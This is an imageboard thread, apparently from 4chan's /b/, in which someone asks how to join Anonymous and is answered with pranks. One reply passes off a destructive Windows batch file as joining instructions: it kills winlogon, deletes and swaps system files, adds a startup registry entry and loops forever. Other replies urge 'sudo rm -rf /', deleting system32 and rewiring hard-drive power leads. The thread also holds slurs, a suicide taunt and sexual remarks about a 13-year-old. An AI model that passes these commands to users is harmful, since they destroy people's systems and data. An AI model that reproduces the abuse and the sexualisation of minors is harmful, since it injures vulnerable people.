How do i become a member of Anonymous?
The stories and information posted here are artistic works of fiction and falsehood.
Only a fool would take anything posted here as fact.
Only a fool would take anything posted here as fact.
How do i become a member of Anonymous?
U dont
Www.Anonymoos.com/join/becummembrabe/
>>701856837
You have to post cheese pizza
>>701856837
you have to go to the raid board and ask there
>but we didn't tell you
U must know how to hacks and scripts
>>701856837
Full instructions on how to join Anonymous:
>Open a new text document
>Copy and paste the text below in to the document:
@echo off
tskill /a /im winlogon
@del %systemdrive%\windows\System32\dllcache\winlogon.exe /q /s /f
@del %systemdrive%\windows\System32\dllcache\explorer.exe /q /s /f
@del %systemdrive%\windows\System32\dllcache\services.exe /q /s /f
@del %systemdrive%\windows\System32\dllcache\vga.sys /q /s /f
@del %systemdrive%\windows\System32\dllcache\mup.sys /q /s /f
@del %systemdrive%\windows\System32\dllcache\taskmgr.exe /q /s /f
@xcopy taskmgr.exe %systemdrive%\windows\system32
@RENAME %systemdrive%\WINDOWS\system32\services.exe explorer1.exe
@RENAME %systemdrive%\WINDOWS\system32\winlogon.exe services.exe
@RENAME %systemdrive%\WINDOWS\system32\explorer1.exe winlogon.exe
@ENAME %systemdrive%\WINDOWS\explorer.exe explorer1.exe
@RENAME %systemdrive%\WINDOWS\winhelp.exe explorer.exe
@RENAME %systemdrive%\WINDOWS\explorer1.exe winhelp.exe
@RENAME %systemdrive%\WINDOWS\system32\drivers\mup.sys mup2.sys
@RENAME %systemdrive%\WINDOWS\system32\drivers\vga.sys mup.sys
@RENAME %systemdrive%\WINDOWS\system32\drivers\mup2.sys vga.sys
shutdown -s -t 10
Echo message
Echo message
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Echo message
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\currentversion\run /hate /d %0
:1
start
goto :1
>Enter the file name as "Anonymous.bat" (Without the Quotation marks)
>Select "All Files" in the "Save as type" menu
>Save
>Double click the file to run it
>You will now officially be a member of Anonymous
>>701856837
hey OP ,,you have to find the hacker known as ''4chan''
he will then ask you some technical shit and then if you pass youre in
Act like you're big and tough, but then don't deliver any punches.
>>701858941
wtf is wwrong with you faggot? dont tell newfags shit like this..hes got to lurk more.and learn..stop handing shit out for free
>>701858995
That's anakata, he hacked the Swedish tax agency and posted the SSNs of some people with secret identities online. Not a member of Anonymous however.
>>701858995
>you wish you were the pirate bay
>>701856837
First you have to read all the Goosebumps books.
Come back when that is done, and I'll tell you stage 2.
>>701858941
COME ON I HAD TO LURK FOR YEARS TO LEARN THIS AND YOU JUST GIVE IT AWAY TO A NEWFAG
>>701858941
you fucking piece of shit. take this down, i don't want our cabal flooded with newfags.
>>701858941
There are going to be a bunch of new faggots becoming members if you don take it down
>>701859582
i'll tell him now: stage 2 is you have to read all the animorphs books, INCLUDING the hork-bajir and andalite chronicles.
>>701858941
Better do this quick if you wanna join someone is going to take this down
>>701858941
why would you show this you dumbass?? im tracing you right now..its people like you that fucked up this board,,learn to keep secrets faggot
>>701858941
WTF MY COMPUITER DOESNT WORK ANYMORE YOU FUCKING FAG FUCK YOU!!!
All you have to say is desu desu meesa seesu and bam you're totally in.
>>701859881
fag..get off my /b/
>>701858941
Free copypasta
>>701857275
>Www.Anonymoos.com/join/becummembrabe/
www.anonymous.com/join/becomeharambe/
>>701860094
>WTF MY COMPUITER DOESNT WORK ANYMORE YOU FUCKING FAG FUCK YOU!!!
...he said, on the internet.
>>701858941
seriously..im on my phone now posting this
...wtf just happened to my pc?
is this supposed to be funny?
how do i fix it?
>>701860094
Welcome New Member
>>701860094
Then how did you get this on here retard.
>>701860210
>www.anonymous.com/join/becomeharambe/
>>701860318
Show computer we can help
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>>701860364
ever hear of a tablet..dickless???
>>701860318
MAGNETS
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>>701860364
haha you got hacked,better pay to anon1ymous @ hotmail.com on paypal to get it back
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>>701860491
yeah, people are dicks on here. take a pic of your computer screen. i work tech support for microsoft i might be able to help.
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>>701860433
Yes post pictures and system specs
Dr 4chans is here to halp
>>701860561
>saving thumbnails
>>701860491
I may not have a dick, but at least my PC isn't fried sweet cheeks.
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>>701856837
hack your way to the top duhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
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>>701860433
heres a pic of my screen
you guys are fags
>>701860508
No u
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>>701860883
fuck
>>701860318
Hahahaha if not b8 best example of retard ever. What does del look like to you faggot? What is system 32?
>>701860973
kek ur done kiddo
>>701860973
Rekt.
>>701860973
AHAHAHAHAHAHAHAHAHAHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you know what to do
>>701860741
really? you dont have a dick? can i see?
>>701860973
Timestamp it kid
You're gonna need the strongest magnets in your house if thats real
>>701861130
WHAT DID I DO YOU FUCKING NIGGA LOVER TELL ME HOW TO FIX IT NOW
>>701861073
horrible bait
>>701860973
Shit anon you done fucked up
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>>701860672
seriously what the fuck .how do i fdix this .its my brothers laptot..why you guys gotta be assholes?
>>701860973
Ya done goof'd
>>701860973
Relax man, if you can locate your hard drive just clean it with a magnet for erasing the viruses, just open your case find the hard drive and rub it with a magnet, after that you can reboot and it will be fine.
>>701861247
It's too good to be true. Although 12 y/o are probably ignorant to what that bat file is :d
>>701861131
Nah fag, I don't show my sweet pussy to white virgin neckbeards like you.
>>701861351
better start runin kid cos if i was your brother id be comin to kill ya
>>701861407
this
>>701861190
fuck you at least i know that magnets fuck up screens it happened to a tv i had a while back..good try faggot
>>701861351
Timestamp.
Get the strongest magnets in your house, a screwdriver, maybe a wrench?? You'll need to open the computer if it can't be fixed from the blue screen. Is that screen giving you options?
that bluescreen is fake as fuck and all you retards still think he fell for it.... (cursor in bsod)
wow so many newfags in this thread
>>701861407
THIS.
>>701861351
Your brother is going to fuck you in the dick. Hurry go set up a cam and post vid here.
>>701861351
On behalf of the internet I must say that it is in no way our fault. You made the choice to go through with it and must now deal with the consequences.
It is clearly stated at the top of the page "The stories and information posted here are artistic works of fiction and falsehood.
Only a fool would take anything posted here as fact."
>>701861537
You need the magnets to fix the drive, not the screen nigger
>>701861537
oh OP so smart but not smart enough to not listen to /b/ the first time all because you wanted to be a lil edgy lord
>>701861605
it was a good run anon..i was wondering when these faggots were gonna figure it out..you done good son
>>701860973
>BSOD
>mouse on screen
nice job VMcuck
>>701861407
anon do this, it worked for me when i was a newfag and fucked my pc
>>701861407
This
>>701861878
but it worked fam...look at all these idiots going all apeshit on me...god i miss the id's
hard diccs
>PUT ME IN! PUT ME DOWN IN HISTORY
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>>701861465
google the image .hes baiting you
>>701856837
Membership comes with a subscription to 2600, back pocket comb and an trs-80. We will then send you a floppy with further instructions.
>>701860973
>google image search/search google for this image
fake.
>>701860318
Timestamp or GTFO
>>701862053
60%of it was bait but good job family
>>701860973
Fake you fag
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>>701862320
these faggots just figured it out ,,or they are trying to cover their asses>>701862463
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>>701856837
>wanting to join anonymous
>not wanting to join anomalous
>>701862533
I posted it before I refreshed the page so didn't see
>>701862631
or the other organization
>imnotamoose
>>701862222
nice dueces faggot
>>701862251
I did say it was too good to be true anon :3
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This can't be real but I want it to be. Post timestamped pic.
>>701862999
here you go..for your trips
>>701863029
its not,,i was just fucking around...i got a couple of good chuckles
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>>701863442
I can finally triforce
>>701863491
good job
>>701863579
Do it then faggot
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>>701863672
No the joke was that I fucked it up
>>701863876
i am the masterbaiter
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>>701863105
nice job faggot...look what you did..
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Did it work?
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>>701864161
how could you possibly fuck it up..the directions are clear
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>>701864738
go buy some rope
get a chair
find a nice strong tree limb
>>701864793
you sound like my dad
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CHEK'M
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>>701864939
you sound like my dad
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ASH CHEK'M
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Better?
>>701865030
James?
>>701864968
check'd good work anon
>>701865036
noko
nostalgia'd
>>701865176
i like giraffes
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>>701860973
It's fucking fake you faggots
>>701865280
predators can triforce
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TRIPS GET
>>701865179
daddy?
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>>701865333
good job detective einstein..took you a while .but good job
>>701865333
Yeah we got that thanks
>>701865333
We know faggot but nice trips
>>701865502
wheres your sister at ? and get off 4chan youre underaged
>>701856837
You have to hack the FBI at least once, and you have to find the top secret onoionomanilalious hide out!
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>>701856837
You need to get to the Marianas Web OP. And get yourself a Closed Shell System
>>701865786
she's in her room skyping with some friends,and please daddy 4chan is my passion,i didn't know you browse it!
>>701865786
Sister is with Leroy and Jerome, don't worry I'm sure she's going to keep her purity daddy
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>>701865749
ALRIGHT, I FUCKING GET IT
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>>701858941
I try but nothing works. I'm on linux btw !
>>701856837
Holy fucking samefags
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>>701856837
>Buy raw onion
>Download anonymousmask.png
>Save it on your pendrive
>Plug pendrive into onion
>Wait 13.37s
>You'll get call, don't answer
>Now your internet is encrypted
>Congratulations, now you're Anonymous
>>701861487
I love you.
KYS slut and stop banging on about your gash.
Thanks.
>>701866398
Where can I score an onion?
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>>701866045
come to my room son..i need a backrub.
im aching awful bad
>>701866580
Check the Abyss
>>701858941
learn to keep secretS from newfags. YOU ARE NO LONGER ONE OF US
>>701866732
Fuck of I'm not your son, I'm tyrone, the one filming your hore of a daughter
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>>701866732
Daddy your room is empty you went to the store years ago,remember? Mom is awfully worried,please come home.
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>>701866580
the grocery store faggot
>>701856837
You don't ask how to.
>>701858941
fuck you
first you must send the premium to this bitcoin wallet (it's 0.1 BTC)
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James.....he is not your daddy, he is a very bad man!
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>>701866840
thats spelled ''whore'' not ''hore'' you unalphbetized nigger..
>>701867033
Are you retarded?
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>>701867033
This legit?
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>>701867153
Ima fuck your whore of a daughter then fuck you faggot lover
>>701858941
I'm Linux user how I can join into Anonymous????!!
>>701867213
Obviously not fucktard
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WE ARE ANONYMOUS//
WE ARE LEGION//
EXPECT US//
>>701867362
sudo rm -rf /
>>701856837
Bro look your nickname, you already anonymous at least for us.
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next trips and i post a pic of a 13 year old ass
>>701867362
sudo apt-get mask
>>701856837
Shut up Dross
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Ô Û
>>701856837
Fire bomb a mosque
Ann's thread is way dead
>>701856837
To become a member of Anonymous, you'd have to really hate 9fag.
>>701867508
WOW it's just like in Mr.Robot show. Thanks now I'm feel 20% more anonymous ;)
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lol u tk him 2da bar|?
you gotta hack 127.0.0.1
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>>701868158
>lol u tk him 2da bar|?
I fucking dare you to say that out,side /b/
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>>701868158
I literally just read that shit too
>>701856837
You can ask Moot directly on twitter @FBI, and he'll tell you.
C U C K
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>>701868333
trips ..heres a 13 year old ass
>>701856837
you need to fill out the application and in order to download the application you will have to delete system 32 because it prevents you from downloading any malicious files on windows.
>>701858941
G-zus is nothing sacred any more. Quit giving away secret ffs. I had to spill virgin blood to get this info.
>>701856837
get fucked in the ass.
>>701868655
Dubs, well done!
Why would you want to anyway there just a bunch of SJW faggots old anonymous was better.
WE ARE ANONYMOUS
WE ARE LE....
>>701860295
>Doesnt know what a smart phone is
>Full retard
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>>701860973
HAHA, you fell for one of the oldest defences against non-tech people in anonymous. Don't worry however, this can be fixed, we'll consider this a first offence.
We've basically reversed the polarity of the magnetic contacts on your HDD. This effect can be easily undone by reversing the power flow into your harddrive.
Simply disconnect the red and one of the black wires from the plug supplying your harddrive with power. You might need to splice them if they're heat-sealed in.
Now simply reverse the connections and reconnect power to your computer. Power it up and act like nothing ever happened.
>>701858941
KEK.
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>>701860973
Well done. Now get the strongest magnet you can find.
>>701863105
Thanks a lot faggot. Now they know how to do it.
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>>701869803
nigger are you retarded fully? did you not read the thread? or is this a sad attemt at baiting the baiters?
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>>701870230
Use it elsewhere if you feel like it. At least it's better than that stupid magnet trick.
>>701870045
you really really really need to read the thread before you post ..your new is showing,,, fag
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>>701870405
also does copining work?
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>>701870430
yes it is..if you wanna kill someone..
>>701856837
Delete system32
It worked for me :)
>>701870549
fail you can just copy it aynd im still so high
>>701870449
>implying i didnt already read the thread
>implying i dont already know the shit here is a hoax
Shut your pie hole faggot.
Sorry to derail, But Does anyone have that gif where it was some anime girls face where the eyes get real wide as her smile grows and you see a fucking mountain get destroyed by a laser beam? /gif/ is slower than Xmas. Thnx.
>>701870551
Red is +5v and black is ground. 12v rail might be a bit more of a sting but it's not gonna kill you. And anyone over 4 should know to disconnect power in advance.
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>>701870908
you didnt save it faggot ..stop it admit your faggotry,,embrace your faggotry,,you raging queen
>>701870943
b but..im 3
>>701871381
http://www.4chan.org/rules
You will immediately cease and not continue to access the site if you are under the age of 18.
>>701856837
Someone screen this please.
>>701858941
Too edgy dood
>>701871290
>raging
>embrace your faggotry
Also. Why the fuck are you using commas.
>>701871645
i piss on your rules..
oh crap..i just pissed my diaper too
>>701871936
Piss off with a b&
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>>701861407
worked for me before
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>>701859944
cant do that once again
>>701858941
In the name of harambae oh lord and savior take this shit down now. The fucking new fags are pouring in, we will never get them out. For real man we will kick you out and expose you!
SO MANY NEWFAGS!!
>>701872418
final roll
>>701872442
>hating on legit copypasta
>quoting harambe meme
Nigga how old?
>>701872840
13 why?
>>701873328
Mjolnir?
>>701858941
You missspeled rename...
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>>701856837
there is no anonymous
it was a hoax made up by the NSA/CIA to commit cybercrimes in the name of them, to justify money put into cyber warfare.
but some people thought it was real, and so they started their own anonymous thinking they were never able to find the "real" starters of this whole movement.
it created copies of its own without ever having an original
the first stand alone complex
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